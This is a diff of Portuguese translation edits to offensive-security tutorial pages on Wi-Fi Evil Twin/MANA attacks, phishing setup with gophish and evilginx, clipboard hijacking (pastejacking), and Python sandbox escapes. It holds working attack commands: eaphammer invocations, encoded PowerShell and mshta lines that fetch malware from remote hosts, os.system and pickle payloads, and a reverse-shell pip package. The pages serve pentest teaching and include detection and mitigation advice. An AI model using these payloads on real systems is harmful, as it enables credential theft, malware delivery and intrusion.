@ -539,7 +540,7 @@ Para entender esses ataques, eu recomendaria ler antes o breve [WPA Enterprise e
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e auth...
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e autenticação...
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
@ -551,11 +552,11 @@ No arquivo de configuração, você pode selecionar muitas coisas diferentes, co
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto simples e, em seguida, o uso de métodos de autenticação mais robustos):
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto claro e, em seguida, o uso de métodos de autenticação mais robustos):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco para o mais forte:
Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar os métodos de autenticação do servidor do mais fraco para o mais forte:
```
--negotiate weakest
```
@ -563,11 +564,11 @@ Ou você também pode usar:
- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto claro)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
- [Encontre mais informações na wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon**
`Airgeddon` pode usar certificados gerados anteriormente para oferecer autenticação EAP em redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, de modo que será capaz de **capturar o usuário e o MD5 da senha**. Depois, o atacante pode tentar quebrar a senha.\
`Airgeddon` pode usar certificados gerados anteriormente para oferecer autenticação EAP em redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, permitindo **capturar o usuário e o MD5 da senha**. Depois, o atacante pode tentar quebrar a senha.\
`Airgeddon` oferece a possibilidade de um **ataque Evil Twin contínuo (barulhento)** ou **apenas criar o ataque Evil até que alguém se conecte (suave).**
![](<../../images/image (936).png>)
@ -577,7 +578,7 @@ Ou você também pode usar:
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
Dentro da **configuração** do _hostapd-wpe_, **comente** a linha que contém _**dh_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego depois **sabendo a chave privada do servidor**.
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, permitindo que você **descriptografe** o tráfego mais tarde **conhecendo a chave privada do servidor**.
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
@ -626,11 +627,11 @@ name3
```
### KARMA
Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos a se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão a este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante.
Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão para este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante.
### MANA
Então, **os dispositivos começaram a ignorar respostas de rede não sólidas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de redes (SSIDs) previamente sólidos pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas.
Então, **os dispositivos começaram a ignorar respostas de rede não sólidas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de rede (SSIDs) previamente sólidos pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas.
O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de transmissão de dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de transmissão é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso.
```bash
@ -644,9 +645,9 @@ Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos
```
### Known Beacon attack
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma wordlist. Isso simula a presença de numerosas redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
O Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
Eaphammer implementou este ataque como um MANA attack onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -690,6 +691,6 @@ Esses métodos, particularmente a entrada de PIN, são suscetíveis às mesmas v
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portals cativos)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
{{#include ../../banners/hacktricks-training.md}}

50
src/generic-methodologies-and-resources/phishing-methodology/README.md
View File

@ -24,19 +24,19 @@
- **Palavra-chave**: O nome do domínio **contém** uma **palavra-chave** importante do domínio original (por exemplo, zelster.com-management.com).
- **subdomínio hifenizado**: Mudar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
- **Novo TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org).
- **Homoglyph**: Ele **substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com).
- **Homoglyph**: **Substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposição:** Ele **troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com).
- **Transposição:** **Troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com).
- **Singularização/Pluralização**: Adiciona ou remove “s” no final do nome do domínio (por exemplo, zeltsers.com).
- **Omissão**: Ele **remove uma** das letras do nome do domínio (por exemplo, zelser.com).
- **Repetição:** Ele **repete uma** das letras no nome do domínio (por exemplo, zeltsser.com).
- **Substituição**: Como homoglyph, mas menos furtivo. Ele substitui uma das letras no nome do domínio, talvez por uma letra próxima da letra original no teclado (por exemplo, zektser.com).
- **Subdominado**: Introduzir um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
- **Inserção**: Ele **insere uma letra** no nome do domínio (por exemplo, zerltser.com).
- **Ponto ausente**: Anexar o TLD ao nome do domínio. (por exemplo, zelstercom.com)
- **Omissão**: **Remove uma** das letras do nome do domínio (por exemplo, zelser.com).
- **Repetição:** **Repete uma** das letras no nome do domínio (por exemplo, zeltsser.com).
- **Substituição**: Como homoglyph, mas menos furtivo. Substitui uma das letras no nome do domínio, talvez por uma letra próxima da letra original no teclado (por exemplo, zektser.com).
- **Subdominado**: Introduz um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
- **Inserção**: **Insere uma letra** no nome do domínio (por exemplo, zerltser.com).
- **Ponto ausente**: Anexa o TLD ao nome do domínio. (por exemplo, zelstercom.com)
**Ferramentas Automáticas**
@ -86,7 +86,7 @@ Além disso, não se esqueça de que se os usuários usarem **qualquer portal we
Você pode baixá-lo de [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Baixe e descompacte-o dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
Baixe e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Você pode precisar redirecionar essa porta para local:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
@ -95,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Configuração do certificado TLS**
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve **apontar** para o **IP do VPS** onde você está configurando **gophish**.
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -227,11 +227,11 @@ service gophish stop
### Espere e seja legítimo
Quanto mais antigo for um domínio, menos provável é que ele seja identificado como spam. Portanto, você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você criar uma página sobre um setor reputacional, a reputação obtida será melhor.
Quanto mais antigo for um domínio, menos provável é que ele seja identificado como spam. Portanto, você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você colocar uma página sobre um setor reputacional, a reputação obtida será melhor.
Observe que, mesmo que você tenha que esperar uma semana, pode terminar de configurar tudo agora.
### Configurar registro de DNS reverso (rDNS)
### Configure o registro de DNS reverso (rDNS)
Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome do domínio.
@ -309,11 +309,11 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu
- Decida de qual conta você vai enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._
- Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar a opção Ignorar Erros de Certificado
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> É recomendado usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\
> Eu recomendaria **enviar os emails de teste para endereços de 10min** a fim de evitar ser colocado na lista negra durante os testes.
> Eu recomendaria **enviar os emails de teste para endereços de 10min** para evitar ser colocado na lista negra durante os testes.
### Modelo de Email
@ -360,7 +360,7 @@ Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma
![](<../../images/image (826).png>)
> [!TIP]
> Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até gostar dos resultados.** Então, escreva esse código HTML na caixa.\
> Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que goste dos resultados.** Então, escreva esse código HTML na caixa.\
> Note que se você precisar **usar alguns recursos estáticos** para o HTML (talvez algumas páginas CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los de _**/static/\<filename>**_
> [!TIP]
@ -369,7 +369,7 @@ Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma
### Usuários & Grupos
- Defina um nome
- **Importe os dados** (note que para usar o modelo do exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
- **Importe os dados** (note que para usar o modelo para o exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário)
![](<../../images/image (163).png>)
@ -382,7 +382,7 @@ Note que o **Perfil de Envio permite enviar um e-mail de teste para ver como ser
![](<../../images/image (192).png>)
> [!TIP]
> Eu recomendaria **enviar os e-mails de teste para endereços de 10min mails** a fim de evitar ser colocado na lista negra durante os testes.
> Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10min** para evitar ser colocado na lista negra durante os testes.
Uma vez que tudo esteja pronto, basta lançar a campanha!
@ -409,7 +409,7 @@ phishing-documents.md
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se o aplicativo que você falsificou estiver configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**.
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Esta ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira:
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira:
1. Você **falsifica o formulário de login** da página real.
2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as envia para a página real, **verificando se as credenciais funcionam**.
@ -418,7 +418,7 @@ O ataque anterior é bastante inteligente, pois você está falsificando um site
### Via VNC
E se, em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página da web real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\
E se, em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\
Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detectando a detecção
@ -426,7 +426,7 @@ Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Obviamente, uma das melhores maneiras de saber se você foi descoberto é **pesquisar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
Uma maneira fácil de verificar se seu domínio aparece em alguma lista negra é usar [https://malwareworld.com/](https://malwareworld.com)
No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na natureza**, conforme explicado em:
No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na web**, conforme explicado em:
{{#ref}}
detecting-phising.md
@ -447,7 +447,7 @@ Conjuntos modernos de intrusão cada vez mais pulam iscas de e-mail completament
* Coletar detalhes pessoais e corporativos do LinkedIn, vazamentos de dados, GitHub público, etc.
* Identificar identidades de alto valor (executivos, TI, finanças) e enumerar o **exato processo de help-desk** para redefinição de senha / MFA.
2. Engenharia social em tempo real
* Telefone, Teams ou chat com o help-desk enquanto se passa pelo alvo (frequentemente com **ID de chamador falsificado** ou **voz clonada**).
* Telefone, Teams ou chat com o help-desk enquanto se passando pelo alvo (frequentemente com **ID de chamador falsificado** ou **voz clonada**).
* Fornecer as PII coletadas anteriormente para passar na verificação baseada em conhecimento.
* Convencer o agente a **redefinir o segredo do MFA** ou realizar uma **troca de SIM** em um número de celular registrado.
3. Ações imediatas pós-acesso (≤60 min em casos reais)
@ -463,12 +463,12 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerar dispositivos que a conta pode fazer login
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Movimento lateral com **WMI**, **PsExec** ou agentes legítimos de **RMM** já autorizados no ambiente.
* Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos de **RMM** já autorizados no ambiente.
### Detecção & Mitigação
* Trate a recuperação de identidade do help-desk como uma **operação privilegiada** – exija autenticação adicional e aprovação do gerente.
* Implemente regras de **Detecção e Resposta a Ameaças de Identidade (ITDR)** / **UEBA** que alertem sobre:
* Método de MFA alterado + autenticação de novo dispositivo / geo.
* Método de MFA alterado + autenticação de novo dispositivo / geolocalização.
* Elevação imediata do mesmo principal (usuário-→-admin).
* Grave chamadas do help-desk e exija um **retorno para um número já registrado** antes de qualquer redefinição.
* Implemente **Acesso Just-In-Time (JIT) / Privilegiado** para que contas recém-redefinidas **não** herdem automaticamente tokens de alto privilégio.
@ -505,7 +505,7 @@ Os atacantes agora encadeiam **APIs de LLM e clonagem de voz** para iscas totalm
| Camada | Uso de exemplo pelo ator de ameaça |
|-------|-----------------------------|
|Automação|Gerar e enviar >100 k e-mails / SMS com redação randomizada e links de rastreamento.|
|Automação|Gerar e enviar >100 k e-mails / SMS com redação aleatória e links de rastreamento.|
|IA Generativa|Produzir e-mails *únicos* referenciando M&A públicos, piadas internas de redes sociais; voz de CEO deep-fake em golpe de retorno de chamada.|
|IA Agente|Registrar domínios autonomamente, coletar inteligência de código aberto, elaborar e-mails da próxima fase quando uma vítima clica mas não envia credenciais.|
@ -516,7 +516,7 @@ Os atacantes agora encadeiam **APIs de LLM e clonagem de voz** para iscas totalm
---
## Fadiga de MFA / Variante de Bombardeio de Push – Redefinição Forçada
## Variante de Fadiga de MFA / Bombardeio de Push – Redefinição Forçada
Além do bombardeio clássico de push, os operadores simplesmente **forçam um novo registro de MFA** durante a chamada do help-desk, anulando o token existente do usuário. Qualquer prompt de login subsequente parece legítimo para a vítima.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”

15
src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
View File

@ -1,4 +1,4 @@
# Ataques de Sequestro de Área de Transferência (Pastejacking)
# Ataques de Hijacking de Clipboard (Pastejacking)
{{#include ../../banners/hacktricks-training.md}}
@ -6,9 +6,9 @@
## Visão Geral
O sequestro de área de transferência – também conhecido como *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página da web maliciosa (ou qualquer contexto capaz de JavaScript, como um aplicativo Electron ou Desktop) insere programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de engenharia social cuidadosamente elaboradas, a pressionar **Win + R** (diálogo Executar), **Win + X** (Acesso Rápido / PowerShell) ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
O hijacking de clipboard – também conhecido como *pastejacking* – explora o fato de que os usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página da web maliciosa (ou qualquer contexto capaz de JavaScript, como um aplicativo Electron ou Desktop) coloca programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são incentivadas, normalmente por instruções de engenharia social cuidadosamente elaboradas, a pressionar **Win + R** (diálogo Executar), **Win + X** (Acesso Rápido / PowerShell) ou abrir um terminal e *colar* o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
Como **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo da web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware comuns, como NetSupport RAT, carregador Latrodectus ou Lumma Stealer.
Porque **nenhum arquivo é baixado e nenhum anexo é aberto**, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo da web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware comuns, como NetSupport RAT, Latrodectus loader ou Lumma Stealer.
## Prova de Conceito em JavaScript
```html
@ -29,7 +29,7 @@ Campanhas mais antigas usavam `document.execCommand('copy')`, enquanto as mais n
1. O usuário visita um site com erro de digitação ou comprometido (por exemplo, `docusign.sa[.]com`)
2. O JavaScript **ClearFake** injetado chama um helper `unsecuredCopyToClipboard()` que armazena silenciosamente uma linha de comando PowerShell codificada em Base64 na área de transferência.
3. Instruções em HTML dizem à vítima: *“Pressione **Win + R**, cole o comando e pressione Enter para resolver o problema.”*
4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo mais um DLL malicioso (sideloading clássico de DLL).
4. `powershell.exe` é executado, baixando um arquivo que contém um executável legítimo mais um DLL malicioso (classic DLL sideloading).
5. O loader descriptografa estágios adicionais, injeta shellcode e instala persistência (por exemplo, tarefa agendada) – executando, em última instância, NetSupport RAT / Latrodectus / Lumma Stealer.
### Exemplo de Cadeia NetSupport RAT
@ -49,7 +49,7 @@ powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
1. Baixa `la.txt` com **curl.exe**
2. Executa o downloader JScript dentro do **cscript.exe**
3. Busca um payload MSI → solta `libcef.dll` ao lado de uma aplicação assinada → sideloading de DLL → shellcode → Latrodectus.
3. Busca um payload MSI → solta `libcef.dll` além de um aplicativo assinado → sideloading de DLL → shellcode → Latrodectus.
### Lumma Stealer via MSHTA
```
@ -57,7 +57,7 @@ mshta https://iplogger.co/xxxx =+\\xxx
```
A chamada **mshta** inicia um script PowerShell oculto que recupera `PartyContinued.exe`, extrai `Boat.pst` (CAB), reconstrói `AutoIt3.exe` através de `extrac32` e concatenação de arquivos e, finalmente, executa um script `.a3x` que exfiltra credenciais do navegador para `sumeriavgv.digital`.
## Detecção e Caça
## Detecção & Caça
As equipes azuis podem combinar telemetria de área de transferência, criação de processos e registro para identificar abusos de pastejacking:
@ -68,7 +68,7 @@ As equipes azuis podem combinar telemetria de área de transferência, criação
## Mitigações
1. Fortalecimento do navegador – desative o acesso de gravação na área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exija gesto do usuário.
1. Dureza do navegador – desative o acesso de gravação da área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exija gesto do usuário.
2. Conscientização de segurança – ensine os usuários a *digitar* comandos sensíveis ou colá-los primeiro em um editor de texto.
3. Modo de Linguagem Constrangida do PowerShell / Política de Execução + Controle de Aplicativos para bloquear one-liners arbitrários.
4. Controles de rede – bloqueie solicitações de saída para domínios conhecidos de pastejacking e C2 de malware.
@ -76,6 +76,7 @@ As equipes azuis podem combinar telemetria de área de transferência, criação
## Truques Relacionados
* O **Discord Invite Hijacking** frequentemente abusa da mesma abordagem ClickFix após atrair usuários para um servidor malicioso:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}

4
src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
View File

@ -142,12 +142,14 @@ self.close
Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** a e-mails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar à vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas por **abrir a pasta.**
**Confira essas ideias e mais nas páginas a seguir:**
**Verifique essas ideias e mais nas páginas a seguir:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}

44
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox python e para **escrever algum código** que você poderia **executar** para **contornar** o sandbox.
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox python e para **escrever algum código** que você poderia **executar** para **burlar** o sandbox.
> [!CAUTION] > A função **input()** do **Python2** permite executar código python antes que o programa falhe.
@ -47,13 +47,13 @@ O Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte
![](<../../../images/image (559).png>)
## Contornar o sandbox do pickle com os pacotes python instalados por padrão
## Bypass do sandbox pickle com os pacotes python instalados por padrão
### Pacotes padrão
Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note que a partir de um pickle você pode fazer o ambiente python **importar bibliotecas arbitrárias** instaladas no sistema.\
Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la:
Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,7 +66,7 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Para mais informações sobre como o pickle funciona, verifique isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Para mais informações sobre como o pickle funciona, verifique isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pacote Pip
@ -83,7 +83,7 @@ Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> [!TIP]
> Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado para que, quando você sair do reverse shell, o restante da instalação falhe, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
## Avaliando código python
@ -91,7 +91,7 @@ Reverse.tar (1).gz
> [!WARNING]
> Note que exec permite strings multilinha e ";", mas eval não permite (verifique o operador walrus)
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
Se certos caracteres forem proibidos, você pode usar a **representação hex/octal/B64** para **burlar** a restrição:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Outras bibliotecas que permitem avaliar código python
### Outras bibliotecas que permitem avaliar código Python
```python
#Pandas
import pandas as pd
@ -152,7 +152,7 @@ Também é possível contornar isso usando outras codificações, por exemplo, `
## Execução do Python sem chamadas
Se você estiver dentro de uma prisão python que **não permite que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos arbitrários**.
Se você estiver dentro de uma prisão python que **não permite que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos** arbitrários.
### RCE com [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -234,7 +234,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
A principal coisa que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como metaclass.
A principal coisa que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como uma metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -375,7 +375,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals e locals
## Globals e locais
